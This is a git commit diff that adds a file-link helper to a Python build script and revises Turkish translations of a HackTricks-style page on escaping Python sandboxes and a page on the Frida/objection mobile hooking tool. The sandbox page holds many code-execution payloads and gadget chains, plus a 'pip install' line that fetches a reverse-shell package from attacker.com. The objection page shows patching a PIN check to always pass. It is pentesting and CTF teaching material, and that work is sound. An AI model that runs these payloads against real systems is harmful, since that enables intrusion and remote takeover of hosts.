Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-01-05 16:13:15 +00:00
parent c6adc18dce
commit 03981d5da1
18 changed files with 465 additions and 401 deletions

View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -1,12 +1,12 @@
# Python sandboxes'ını atlatma
# Python sandboxes' geçişi
{{#include ../../../banners/hacktricks-training.md}}
Bunlar, python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı hilelerdir.
Bunlar, python sandbox korumalarını aşmak ve keyfi komutlar çalıştırmak için bazı hilelerdir.
## Komut Çalıştırma Kütüphaneleri
Bilmeniz gereken ilk şey, bazı önceden içe aktarılan kütüphanelerle doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini içe aktarabileceğinizdir:
Bilmeniz gereken ilk şey, bazı önceden içe aktarılmış kütüphanelerle doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini içe aktarabileceğinizdir:
```python
os.system("ls")
os.popen("ls").read()
@ -41,10 +41,9 @@ system('ls')
```
_**open**_ ve _**read**_ fonksiyonlarının, python sandbox'ı içindeki **dosyaları okumak** ve **bypass** etmek için **çalıştırabileceğiniz bazı kodlar yazmak** için faydalı olabileceğini unutmayın.
> [!CAUTION]
> **Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya izin verir.
> [!CAUTION] > **Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya izin verir.
Python, **öncelikle mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut, python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
Python, **öncelikle mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut, python'un modülleri nereden yüklediğini yazdırır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
@ -73,24 +72,26 @@ Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https
**@isHaacK** tarafından paylaşılan hile
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmayı açmalı, `setup.py` dosyasını değiştirmeli ve ters shell için IP'nizi girmelisiniz**:
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece **sunucuda ekstra bir python paketi bırakmazsınız**.
> Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda **sunucuda ekstra bir python paketi bırakmazsınız**.
## Python kodunu Eval etmek
> [!WARNING]
> exec'in çok satırlı dizeleri ve ";" karakterini desteklediğini, ancak eval'in desteklemediğini unutmayın (walrus operatörüne bakın)
Belirli karakterler yasaksa, kısıtlamayı **bypass** etmek için **hex/octal/B64** temsilini kullanabilirsiniz:
Belirli karakterler yasaksa, kısıtlamayı **bypass** etmek için **hex/oktal/B64** temsilini kullanabilirsiniz:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -177,11 +178,11 @@ class _:pass
```
### RCE nesneleri oluşturma ve aşırı yükleme
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler** **yazabilir/ırı yükleyebilirsiniz**.
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler** **yazabilir/üstüne yazabilirsiniz**.
#### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini ırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak şekilde** değiştirebilirsiniz.
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini üstüne yazarak veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak şekilde** değiştirebilirsiniz.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -292,7 +293,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Yerleşik yardımcı ve lisans ile dosya oku
### Yerleşik yardımcılar ve lisans ile dosya oku
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -358,7 +359,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon bulunmaktadır**](#recursive-search-of-builtins-globals) yüzlerce/**yer** bulmak için **builtins**'leri bulabilirsiniz.
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) yüzlerce/**yer** bulmak için **builtins**'leri bulabilirsiniz.
#### Python2 ve Python3
```python
@ -402,13 +403,13 @@ class_obj.__init__.__globals__
```
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) yüzlerce/**yer** bulmak için **globals**.
## Keyfi İcraatı Keşfet
## Keyfi İcra Keşfi
Burada, **daha tehlikeli işlevsellikleri** kolayca keşfetmeyi ve daha güvenilir istismarlar önermeyi açıklamak istiyorum.
#### Bypass ile alt sınıflara erişim
Bu tekniğin en hassas kısımlarından biri, **temel alt sınıflara erişim** sağlamaktır. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapılmıştı, ancak **diğer olası yollar** da vardır:
Bu tekniğin en hassas kısımlarından biri **temel alt sınıflara erişim** sağlamaktır. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapılmıştı, ancak **diğer olası yollar** da vardır:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -443,11 +444,11 @@ defined_func.__class__.__base__.__subclasses__()
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Birçok var, ve **sadece birine ihtiyacımız var** komutları çalıştırmak için:
Birçok var, ve **sadece birine** ihtiyacımız var komutları çalıştırmak için:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Aynı şeyi **komutları çalıştırmak için kullanılabileceğini bildiğimiz** **diğer kütüphanelerle** de yapabiliriz:
Aynı şeyi **komutları çalıştırmak için kullanılabileceğini bildiğimiz diğer kütüphanelerle** de yapabiliriz:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -482,7 +483,7 @@ Aynı şeyi **komutları çalıştırmak için kullanılabileceğini bildiğimiz
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, hangi modüllerin kötü niyetli kütüphaneleri yüklediğini bile arayabiliriz:
Ayrıca, hangi modüllerin kötü niyetli kütüphaneleri yüklediğini de arayabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -534,10 +535,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Yerleşiklerin, Global Değişkenlerin... Rekürsif Araması
## Yerleşiklerin, Global Değişkenlerin Rekürsif Araması...
> [!WARNING]
> Bu sadece **harika**. Eğer **globals, builtins, open veya başka bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.**
> Bu sadece **harika**. Eğer **globals, builtins, open veya herhangi bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.**
```python
import os, sys # Import these to find more gadgets
@ -661,7 +662,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, globals veya builtins'e erişmek için önceki örnekleri kullanabilirsiniz.
Eğer **formatlanacak** bir **string** python'a **gönderirseniz**, **python iç bilgilerine** erişmek için `{}` kullanabilirsiniz. Örneğin, global veya built-in'lere erişmek için önceki örnekleri kullanabilirsiniz.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -701,10 +702,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Daha fazla örnek** **format** **string** örnekleri için [**https://pyformat.info/**](https://pyformat.info) adresine bakabilirsiniz.
**Daha fazla örnek** hakkında **format** **string** örnekleri [**https://pyformat.info/**](https://pyformat.info) adresinde bulunabilir.
> [!DİKKAT]
> Ayrıca, Python iç nesnelerinden **hassas bilgileri okuyacak** aletler için aşağıdaki sayfayı kontrol edin:
> Ayrıca, **Python iç nesnelerinden hassas bilgileri okuyacak** aletler için aşağıdaki sayfayı kontrol edin:
{{#ref}}
../python-internal-read-gadgets.md
@ -734,14 +735,14 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Hatırlatmak gerekirse, python'da her eylem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Hatırlatma olarak, python'da her işlem yapıldığında bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Bunun gibi daha fazlasını [**Python execution without calls**](#python-execution-without-calls) bölümünde bulabilirsiniz.
Bir python format string zafiyeti, fonksiyon çalıştırılmasına izin vermez (parantez kullanılmasına izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Ancak, `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi **`__getitem__`** veya **`__getattr__`** metoduna sahipse ve bu metod rastgele kod çalıştırıyorsa, bunları kullanarak RCE elde etmek mümkündür.
Python'da böyle bir gadget ararken, yazıda bu [**Github arama sorgusunu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) önerilmektedir. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulmuştur:
Python'da böyle bir gadget ararken, yazıda bu [**Github arama sorgusu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) önerilmektedir. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) buldu:
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -774,7 +775,7 @@ Zorluk, sunucuda rastgele dosyalar oluşturulmasına izin veren başka bir güve
> [!NOTE]
> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, bu konu hakkında **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adı verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekebilir.
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adını alabilirsiniz ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekir.
İncelenecek fonksiyon:
```python
@ -796,7 +797,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` ve `func_globals` (Aynı) Küresel ortamı elde eder. Örnekte bazı içe aktarılan modülleri, bazı küresel değişkenleri ve bunların içeriğini görebilirsiniz:
`__globals__` ve `func_globals` (Aynı) Küresel ortamı elde eder. Örnekte bazı içe aktarılan modülleri, bazı küresel değişkenleri ve bunların tanımlı içeriklerini görebilirsiniz:
```python
get_flag.func_globals
get_flag.__globals__
@ -897,7 +898,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremeyeceksiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini de belirtir.
Dikkat edin ki **eğer python sandbox'ında `dis` modülünü içe aktaramıyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alabilir ve bunu yerel olarak **dağıtabilirsiniz**. Yüklenen değişkenlerin içeriğini göremezsiniz (`LOAD_CONST`) ama bunları (`get_flag.func_code.co_consts`) kullanarak tahmin edebilirsiniz çünkü `LOAD_CONST` aynı zamanda yüklenen değişkenin ofsetini de belirtir.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -981,7 +982,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Bu gönderinin başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam betikleri** **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Bu gönderinin başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunu nasıl çalıştıracağınızı** görebilirsiniz. Bu ilginç çünkü **döngüler ve her şeyle birlikte tam betikleri** bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\
Her neyse, bazen bir **derlenmiş nesne** oluşturmak ve bunu **CTF makinesinde** çalıştırmak faydalı olabilir (örneğin, CTF'de `compiled` fonksiyonuna sahip olmadığımız için).
Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak derleyip çalıştıralım:
@ -1011,7 +1012,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilebilir değil_. Bu nedenle, bu fonksiyonu çağırmak için **kısıtlı ortamda olmayan bir fonksiyona** ihtiyacınız var.
Eğer `eval` veya `exec` erişiminiz yoksa, **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hata ile sonuçlanacaktır: _constructor restricted mode'da erişilemez_. Bu nedenle, bu fonksiyonu çağırmak için **restricted ortamda olmayan bir fonksiyona** ihtiyacınız var.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1054,5 +1055,4 @@ bypass edilecektir
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Giriş**
**objection - Çalışma Zamanı Mobil Keşif**
@ -14,15 +12,19 @@
### Özeti
**objection**'ın **amacı**, kullanıcının **Frida'nın sunduğu ana eylemleri** çağırmasına izin vermektir. **Aksi takdirde**, kullanıcı test etmek istediği **her uygulama için tek bir script oluşturmak zorunda kalacaktır.**
**objection**'ın **amacı**, kullanıcının **Frida'nın sunduğu ana eylemleri çağırmasına** izin vermektir. **Aksi takdirde**, kullanıcı test etmek istediği **her uygulama için tek bir script oluşturmak zorunda kalacaktır.**
## Eğitim
Bu eğitim için burada indirebileceğiniz APK'yı kullanacağım:
Bu eğitim için buradan indirebileceğiniz APK'yı kullanacağım:
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
Ya da [orijinal deposundan](https://github.com/asvid/FridaApp) (app-release.apk'yi indir)
Veya [orijinal deposundan](https://github.com/asvid/FridaApp)(app-release.apk'yi indir)
### Kurulum
```bash
pip3 install objection
```
@ -30,7 +32,7 @@ pip3 install objection
**Normal bir ADB bağlantısı** kurun ve cihazda **frida** sunucusunu **başlatın** (ve frida'nın hem istemci hem de sunucuda çalıştığını kontrol edin).
Eğer **root'lu bir cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda:
Eğer **rootlu bir cihaz** kullanıyorsanız, test etmek istediğiniz uygulamayı _**--gadget**_ seçeneği içinde seçmeniz gerekmektedir. bu durumda:
```bash
frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore
@ -58,7 +60,7 @@ frida
file download <remote path> [<local path>]
file upload <local path> [<remote path>]
```
#### frida script'i içe aktar
#### Frida betiğini içe aktarın
```bash
import <local path frida-script>
```
@ -139,7 +141,7 @@ Bu, **bir sınıfın yöntemini yakalamak istiyorsanız ve sadece sınıfın ad
#### Bir Yöntemi Yakalamak (izlemek)
Uygulamanın [kaynak kodundan](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) bildiğimiz kadarıyla, **MainActivity**'den **sum()** **fonksiyonu** **her saniye** çalıştırılmaktadır. Fonksiyon her çağrıldığında **tüm olası bilgileri** (argümanlar, dönüş değeri ve geri izleme) **dökmeye** çalışalım:
Uygulamanın [kaynak kodundan](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) bildiğimiz kadarıyla, **MainActivity**'den _**sum()**_ **fonksiyonu** **her saniye** çalıştırılmaktadır. Fonksiyon her çağrıldığında **tüm olası bilgileri** (argümanlar, dönüş değeri ve geri izleme) **dökme** yapmayı deneyelim:
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -147,7 +149,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
#### Bir sınıfı tamamen izlemek (hooking)
Aslında MainActivity sınıfının tüm yöntemlerini gerçekten ilginç buluyorum, hepsini **hooklayalım**. Dikkatli olun, bu bir uygulamayı **çökertebilir**.
Aslında MainActivity sınıfının tüm yöntemlerini gerçekten ilginç buluyorum, hadi **hepsini hooklayalım**. Dikkatli olun, bu bir uygulamayı **çökertebilir**.
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
@ -157,7 +159,7 @@ Uygulama ile sınıf bağlıyken oynarsanız, **her bir fonksiyonun ne zaman ça
#### Bir fonksiyonun boolean dönüş değerini değiştirme
Kaynak koddan, _checkPin_ fonksiyonunun bir _String_ argümanı aldığını ve bir _boolean_ döndürdüğünü görebilirsiniz. Fonksiyonu **her zaman true döndürecek şekilde** ayarlayalım:
Kaynak koddan, _checkPin_ fonksiyonunun bir _String_ argümanı aldığını ve bir _boolean_ döndürdüğünü görebilirsiniz. Fonksiyonu **her zaman true döndürecek** şekilde ayarlayalım:
![](<../../../images/image (883).png>)
@ -167,7 +169,7 @@ Artık, PIN kodu için metin kutusuna herhangi bir şey yazarsanız, her şeyin
### Sınıf örnekleri
Belirli bir Java sınıfının **canlı örneklerini** arayın ve yazdırın; bu, tam nitelikli sınıf adıyla belirtilmiştir. Bulunan bir objection için bir dize değeri elde etme girişiminin sonucu, genellikle **nesne için özellik değerlerini** içerecektir.
Belirli bir Java sınıfının **canlı örneklerini** arayın ve yazdırın; bu, tam nitelikli sınıf adıyla belirtilmiştir. Bulunan bir objection için bir dize değeri elde etme girişiminin sonucu, tipik olarak **nesne için özellik değerlerini** içerecektir.
```
android heap print_instances <class>
```
@ -213,7 +215,7 @@ memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
SQLite veritabanlarıyla etkileşimde bulunmak için `sqlite` komutunu kullanabilirsiniz.
### Çıkış
### Exit
```bash
exit
```
@ -221,4 +223,6 @@ exit
- Hooking yöntemleri bazen uygulamayı çökertiyor (bu aynı zamanda Frida'dan da kaynaklanıyor).
